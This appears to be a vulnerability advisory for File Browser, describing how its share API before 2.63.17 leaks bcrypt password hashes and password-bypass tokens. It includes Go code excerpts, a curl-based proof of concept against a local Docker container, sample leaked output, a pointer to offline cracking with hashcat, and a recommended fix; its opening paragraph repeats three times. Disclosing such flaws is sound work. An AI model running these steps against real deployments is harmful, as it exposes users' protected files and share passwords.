File Browser: Share API exposes the password hash and bypass token

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, the Link storage struct is serialized directly by sharePostHandler, shareListHandler, and shareGetsHandler through renderJSON, causing POST /api/share/{path} and GET /api/shares to expose password_hash and the bypass token, while an administrator can retrieve these secrets for every user's shares, enabling offline password cracking and direct access to protected shares. This issue is fixed in version 2.63.17.

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, the Link storage struct is serialized directly by sharePostHandler, shareListHandler, and shareGetsHandler through renderJSON, causing POST /api/share/{path} and GET /api/shares to expose password_hash and the bypass token, while an administrator can retrieve these secrets for every user's shares, enabling offline password cracking and direct access to protected shares. This issue is fixed in version 2.63.17.

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, the Link storage struct is serialized directly by sharePostHandler, shareListHandler, and shareGetsHandler through renderJSON, causing POST /api/share/{path} and GET /api/shares to expose password_hash and the bypass token, while an administrator can retrieve these secrets for every user's shares, enabling offline password cracking and direct access to protected shares. This issue is fixed in version 2.63.17.

## Summary When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt `password_hash` and the secret `token` of the share. The `Link` storage struct is serialized directly with `json.Marshal` and tags `password_hash` and `token` for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via `GET /api/shares` receives the password hash and bypass token for **every** user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares. ## Details **1. The `Link` struct serializes both secrets to JSON (`share/share.go:10-19`)** ```go type Link struct { Hash string `json:"hash" storm:"id,index"` Path string `json:"path" storm:"index"` UserID uint `json:"userID"` Expire int64 `json:"expire"` PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed // Token is only set when PasswordHash is set; it bypasses the password. Token string `json:"token,omitempty"` // line 19, bypass token exposed } ``` `omitempty` means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share. **2. The share handlers return the full struct through unfiltered `json.Marshal`** `sharePostHandler` returns the created `Link` with `renderJSON(w, r, s)` (`http/share.go:179`); `shareListHandler` and `shareGetsHandler` return shares the same way (`http/share.go:55`, `http/share.go:76`). `renderJSON` performs an unfiltered `json.Marshal(data)` (`http/utils.go:16`), so every tagged field, including `password_hash` and `token`, reaches the client. **3. Administrators receive every user's secrets (`http/share.go:36`)** ```go s, err = d.store.Share.All() // admin path: returns ALL users' shares // ... return renderJSON(w, r, s) // including each share's password_hash and token ``` An admin calling `GET /api/shares` receives the bcrypt hash and bypass token for all shares across all users. ## PoC Tested against `filebrowser/filebrowser:v2.63.15`. **Attack Vector: read the bcrypt hash and bypass token from the share API:** ```bash #1. Seed a file in /tmp and start a fresh v2.63.15 container mkdir -p /tmp/filebrowser-test/srv/user1 echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 B=http://localhost:8090 #2. Log in as admin AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}') T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}") #3. Create a password-protected share curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \ -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}' #4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token) curl -s "$B/api/shares" -H "X-Auth: $T" ``` The returned bcrypt hash cracks offline (`hashcat -m 3200`) to recover the share password, and the `token` opens the protected share directly without the password. Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15): Both the `POST /api/share/...` response and the `GET /api/shares` response return HTTP 200 with a body that includes the full bcrypt `password_hash` and the 128-character bypass `token`: ```http POST /api/share/user1/readme.txt -> 200 GET /api/shares -> 200 { "hash": "yy9159Cs", "path": "/user1/readme.txt", "userID": 1, "expire": 1781758642, "password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla", "token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..." } ``` The hash cracks offline to the known password (`bcrypt.checkpw(b"ShareSecret123!", hash) == True`, `hashcat -m 3200`), and the `token` grants direct access to the password-protected share without knowing the password. ## Impact - **Offline password cracking:** the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline. - **Password-bypass token leak:** the `token` is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly. - **Admin sees everyone's secrets:** `GET /api/shares` as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants. - **Credential reuse risk:** users who reuse an account or service password as a share password expose that password to offline recovery. ## Recommended Fix Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side: ```go // share/share.go type Link struct { Hash string `json:"hash" storm:"id,index"` Path string `json:"path" storm:"index"` UserID uint `json:"userID"` Expire int64 `json:"expire"` PasswordHash string `json:"-" storm:"index"` // never serialize Token string `json:"-"` // never serialize in list responses } ``` `PasswordHash` and `Token` are only needed server-side (for `bcrypt.CompareHashAndPassword` and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived `HasPassword bool` instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.

File Browser: Share API exposes the password hash and bypass token in github.com/filebrowser/filebrowser